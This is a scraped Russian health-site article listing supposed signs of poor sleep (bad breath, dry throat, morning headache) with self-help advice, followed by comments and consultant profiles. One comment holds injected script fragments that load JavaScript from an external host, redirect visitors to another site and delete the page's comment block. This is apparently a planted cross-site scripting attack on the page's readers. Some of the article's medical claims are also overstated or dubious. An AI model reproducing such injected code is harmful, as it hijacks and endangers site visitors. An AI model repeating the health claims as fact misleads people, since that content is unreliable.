Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Необычные признаки ночных...  >>  Необычные признаки ночных проблем
 
Обратная связь
 

Необычные признаки ночных проблем

Размер шрифта
22 ноября 2011 08:00
  • google_analytics: false
  • Нравится

Вас не волнует бессонница? Першение в горле и другие секретные признаки плохого сна.

1. Неприятный запах изо рта

Если по утрам у вас неприятный запах изо рта, значит, ночью у вас, возможно, была изжога. Сфинктер, соединяющий пищевод и желудок, во сне расслабляется. Желудочная кислота попадает из желудка в пищевод и раздражает его. Возникает чувство жжения. Хроническая изжога вызывает повреждение пищевода и повышает риск онкологических заболеваний.

Что делать?

  1. Ешьте не позднее, чем за 3 часа до сна.

  2. Принимайте препараты, снижающие кислотность в желудке.

  3. Сбросьте лишний вес.

  4. Если изжога повторяется чаще одного раза в неделю, обратитесь к врачу.

  5. При частой изжоге надо спать полусидя. Для этого существуют специальные угловые приспособления, которые устанавливаются на кровать и позволяют приподнимать изголовье.

2. Сухость в горле

Если с утра в горле пересохло, значит, ночью вы храпели. Храпящий человек хуже высыпается: воздух, вдыхаемый при храпе, раздражает слизистую гортани и сушит ее. Вот почему с утра в горле першит.

При храпе, когда мягкие ткани ротоглотки вибрируют, воздух не может пройти через узкую щель. У храпящего человека может остановиться дыхание. В такой ситуации может начаться кислородное голодание. В тяжелых случаях, когда ткани полностью перекрывают просвет гортани, человек может задохнуться и умереть.

Что делать?

Подберите подходящую подушку. Во время сна голова должна находиться на одной линии с телом. Учтите, что на слишком маленькой подушке голова запрокидывается, а на слишком большой искривляются дыхательные пути.

3. Головная боль

Головная боль по утрам – признак того, что вы спали в неправильной позе, к примеру, на боку или животе. В такой позе сосуды шеи пережимаются. Головной мозг не получает достаточно кислорода вместе с кровью, что приводит к сильной головной боли.

Если вы привыкли спать в неправильном положении, то сосуды со временем потеряют эластичность, что еще больше нарушит кровообращение и вызовет еще более серьезные мигрени.

Что делать?

Подберите правильную подушку, на которой голова будет на одной линии с телом. Если обычные подушки вызывают у вас дискомфорт, попробуйте ортопедическую подушку с валиком.

Видеосюжеты по теме:

Почему утро бывает недобрым. Признаки плохого сна

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:05

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.